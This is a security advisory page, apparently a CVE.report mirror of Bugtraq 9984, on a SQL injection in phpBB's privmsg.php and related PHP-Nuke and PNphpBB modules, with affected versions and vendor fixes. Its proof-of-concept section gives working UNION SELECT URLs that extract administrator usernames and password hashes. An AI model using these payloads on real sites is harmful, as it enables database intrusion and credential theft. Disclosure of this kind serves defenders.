PHPBB Privmsg.PHP SQL Injection Vulnerability

BID:9984

Info

PHPBB Privmsg.PHP SQL Injection Vulnerability

Bugtraq ID: 9984
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 26 2004 12:00AM
Updated: Mar 26 2004 12:00AM
Credit: Discovery of this issue is credited to Janek Vind <[email protected]>
Vulnerable: PNphpBB PNphpBB 1.2 g
PNphpBB PNphpBB 1.2 f
PNphpBB PNphpBB 1.2
phpBB Group phpBB 2.0.8
phpBB Group phpBB 2.0.7 a
phpBB Group phpBB 2.0.7
phpBB Group phpBB 2.0.6 d
phpBB Group phpBB 2.0.6 c
phpBB Group phpBB 2.0.6
phpBB Group phpBB 2.0.5
phpBB Group phpBB 2.0.4
phpBB Group phpBB 2.0.3
phpBB Group phpBB 2.0.2
phpBB Group phpBB 2.0.1
phpBB Group phpBB 2.0 .0
phpBB Group phpBB 2.0 RC4
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
phpBB Group phpBB 2.0 RC3
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
phpBB Group phpBB 2.0 RC2
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
phpBB Group phpBB 2.0 RC1
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
phpBB Group phpBB 2.0 Beta 1
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
Francisco Burzi PHP-Nuke 7.1
Francisco Burzi PHP-Nuke 7.0 FINAL
Francisco Burzi PHP-Nuke 7.0
Francisco Burzi PHP-Nuke 6.9
Francisco Burzi PHP-Nuke 6.7
Francisco Burzi PHP-Nuke 6.6
Francisco Burzi PHP-Nuke 6.5 RC3
Francisco Burzi PHP-Nuke 6.5 RC2
Francisco Burzi PHP-Nuke 6.5 RC1
Francisco Burzi PHP-Nuke 6.5 FINAL
Francisco Burzi PHP-Nuke 6.5 BETA 1
Francisco Burzi PHP-Nuke 6.5
Francisco Burzi PHP-Nuke 6.0
Not Vulnerable:

Discussion

PHPBB Privmsg.PHP SQL Injection Vulnerability

Reportedly the 'privmsg.php' phpBB script is prone to a remote SQL injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI parameters before using them to construct SQL queries to be issued to the underlying database.

This may allow a remote attacker to manipulate query logic, potentially leading to access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

Exploit / POC

PHPBB Privmsg.PHP SQL Injection Vulnerability

No exploit is required to leverage this issue. The following proof of concept has been provided:

phpBB:
http://localhost/phpbb206c/privmsg.php?folder=savebox&amp;mode=read&amp;p=99&amp;pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/*

PHP-Nuke:
http://localhost/nuke69j1/modules.php?name=Private_Messages&amp;file=index&amp;folder=savebox&amp;mode=read&amp;p=99&amp;pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20aid,null,pwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20nuke_authors%20WHERE%20radminsuper=1%20LIMIT%201/*

The following proof of concept has been provided by JeiAr &lt;[email protected]&gt;:
/privmsg.php?folder=savebox&amp;mode=read&amp;p=99&amp;pm_sql_user=AND pm.privmsgs_type=-99 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0,0,0,0,0,0,0,0,0,user_password FROM phpbb_users WHERE user_id=2 LIMIT 1/*

Pnphpbb:
http://www.example.com/index.php?name=PNphpBB2&amp;file=privmsg&amp;folder=savebox&amp;mode=read&amp;p=99&amp;pm_sql_user=AND%20pm.privmsgs_type=-99%20[sql here]

Solution / Fix

PHPBB Privmsg.PHP SQL Injection Vulnerability

Solution:
The following untested and unverified solution to this issue has been provided by JeiAr <[email protected]>.

Replace this:
$pm_sql_user .= "<random_query_data>";

With this:
$pm_sql_user = '';
$pm_sql_user .= "<random_query_data>";

The following patch has been provided by Shaun Colley <[email protected]>. It should be noted that this patch has not been verified by Symantec:

http://www.nettwerked.co.uk/code/privmsg-sqlinj.patch

The vendor has posted a fix to resolve this issue. It has been suggested by the vendor that the following change will produce positive results:

FIND - Line 215:
$pm_sql_user .= "AND ( ( pm.privmsgs_to_userid = " . $userdata['user_id'] . "

REPLACE WITH:
$pm_sql_user = "AND ( ( pm.privmsgs_to_userid = " . $userdata['user_id'] . "

It has also been reported that all available versions of the software have been updated with this fix; any version of the software previously vulnerable will no longer be when acquired from the vendor web site.

References

© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report